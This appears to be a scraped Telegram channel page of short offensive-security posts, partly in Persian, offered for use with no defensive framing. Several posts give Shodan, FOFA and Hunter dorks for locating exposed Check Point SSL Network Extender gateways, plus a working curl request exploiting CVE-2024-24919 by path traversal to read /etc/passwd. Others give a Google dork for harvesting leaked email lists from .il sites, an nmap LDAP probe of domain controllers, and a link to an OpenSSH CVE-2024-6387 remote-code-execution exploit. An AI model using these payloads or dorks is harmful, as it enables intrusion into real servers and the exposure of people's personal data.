NEW BOT Телеграм, страница

CVE-2024–24919

. Dorks

Hunter: /product.name="Check Point SSL Network Extender"

FOFA: noscript="Check Point SSL Network Extender"

SHODAN: http.noscript="Check Point SSL Network Extender"

@matitanium

453 viewsMatin Nouriyan, edited 18:07

CyberSecurity

CVE-2024–24919 . Dorks Hunter: /product.name="Check Point SSL Network Extender" FOFA: noscript="Check Point SSL Network Extender" SHODAN: http.noscript="Check Point SSL Network Extender" @matitanium

Exploit

curl -k -X POST "https://{ip}/clients/MyCRL" \  -H "Host: {ip}/" \  -H "User-Agent: Mozilla/5.0 (Macintosh:@Matitanium; Intel Mac OS X 10.15; rv:126.0) Gecko/20100101 Firefox/126.0" \  -H "Te: trailers" \  -H "Dnt: 1" \  -H "Connection: keep-alive" \  -H "Content-Length: 48" \  --data "aCSHELL/../../../../../../../../../../../etc/passwd"

525 viewsMatin Nouriyan, edited 18:08

CyberSecurity

Google dork for email leak 📝

intext:@"yahoo|gmail|hotmail".com filetype:txt site:*.il

@matitanium

489 viewsMatin Nouriyan, edited 18:13

CyberSecurity

استفاده از NMAP برای برسی ساختار AD و Domain

دامین کنترل رو پورت اسکن کنید و پروتکل LDAP رو پیدا کنید
معمولا پورت 389

کامند استفاده شده:

nmap -p389 -sV -n — noscript ldap-rootdse <DC-IP>

@matitanium

👌4👎1

545 viewsMatin Nouriyan, edited 18:29

CyberSecurity

CVE-2024-6387
Remote Unauthenticated Code Execution Vulnerability in OpenSSH server

#version
SSH-2.0-OpenSSH_8.9p1
Ubuntu-3ubuntu0.10

فقط روی SSH سرور ها با معماری 32 بیت قابل اجرا هستش

#Exploit

https://github.com/asterictnl-lvdw/CVE-2024-6387

@matitanium

GitHub

GitHub - Karmakstylez/CVE-2024-6387: Remote Unauthenticated Code Execution Vulnerability in OpenSSH server (CVE-2024-6387)

Remote Unauthenticated Code Execution Vulnerability in OpenSSH server (CVE-2024-6387) - Karmakstylez/CVE-2024-6387

👍3

797 viewsMatin Nouriyan, edited 10:12

About

Blog

Apps

Platform